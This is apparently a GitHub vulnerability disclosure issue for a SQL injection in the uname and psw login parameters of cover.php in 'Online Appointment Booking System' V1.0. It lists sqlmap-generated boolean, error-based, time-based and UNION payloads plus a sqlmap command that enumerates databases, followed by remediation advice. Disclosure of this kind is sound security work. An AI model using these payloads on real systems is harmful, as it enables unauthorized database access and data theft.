Skip to content

code-projects Online Appointment Booking System Project V1.0/cover.php SQL injection #1

@BalanceLee

Description

@BalanceLee

code-projects Online Appointment Booking System Project V1.0/cover.php SQL injection

NAME OF AFFECTED PRODUCT(S)

  • Online Appointment Booking System

Vendor Homepage

AFFECTED AND/OR FIXED VERSION(S)

submitter

  • balancelee

Vulnerable File

  • /cover.php

VERSION(S)

  • V1.0

Software Link

PROBLEM TYPE

Vulnerability Type

  • SQL injection

Root Cause

  • A SQL injection vulnerability was found in the '/cover.php' file of the 'Online Appointment Booking System' project. The reason for this issue is that attackers inject malicious code from the parameter 'uname/psw' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

Impact

  • Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

  • During the security review of "Online Appointment Booking System",I discovered a critical SQL injection vulnerability in the "/cover.php" file. This vulnerability stems from insufficient user input validation of the 'uname/psw‘ parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

No login or authorization is required to exploit this vulnerability

Vulnerability details and POC

Vulnerability Name:

  • 'uname/psw' parameter

HTTP Request Payload:

---
Parameter: uname (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: uname=-8837' OR 1020=1020#&psw=test&login=

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: uname=test' OR (SELECT 2893 FROM(SELECT COUNT(*),CONCAT(0x7162707871,(SELECT (ELT(2893=2893,1))),0x7176717871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- Rzzz&psw=test&login=

    Type: time-based blind
    Title: MySQL > 5.0.12 AND time-based blind (heavy query)
    Payload: uname=test' AND 2227=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)-- BctV&psw=test&login=

    Type: UNION query
    Title: MySQL UNION query (NULL) - 7 columns
    Payload: uname=test' UNION ALL SELECT CONCAT(0x7162707871,0x4755735542426a55484f5a52577254694776424574506f7a656f68507871676b415078764c475a55,0x7176717871),NULL,NULL,NULL,NULL,NULL,NULL#&psw=test&login=
---
Parameter: psw (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: uname=test&psw=-9065' OR 7726=7726#&login=

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: uname=test&psw=test' OR (SELECT 3265 FROM(SELECT COUNT(*),CONCAT(0x7162707871,(SELECT (ELT(3265=3265,1))),0x7176717871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- XZJZ&login=

    Type: UNION query
    Title: MySQL UNION query (NULL) - 7 columns
    Payload: uname=test&psw=test' UNION ALL SELECT CONCAT(0x7162707871,0x4b5853636156594f546f6f46416b634c774964564f6545564e6d4d64704b714f4259567176504d6f,0x7176717871),NULL,NULL,NULL,NULL,NULL,NULL#&login=
---

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

python sqlmap.py -u "http://localhost/Online-Appointment-Booking-System-master/cover.php" --data="uname=test&psw=test&login=" --dbs
Image Image

Suggested repair

  1. Use prepared statements and parameter binding:
    Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

  2. Input validation and filtering:
    Strictly validate and filter user input data to ensure it conforms to the expected format.

  3. Minimize database user permissions:
    Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.

  4. Regular security audits:
    Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions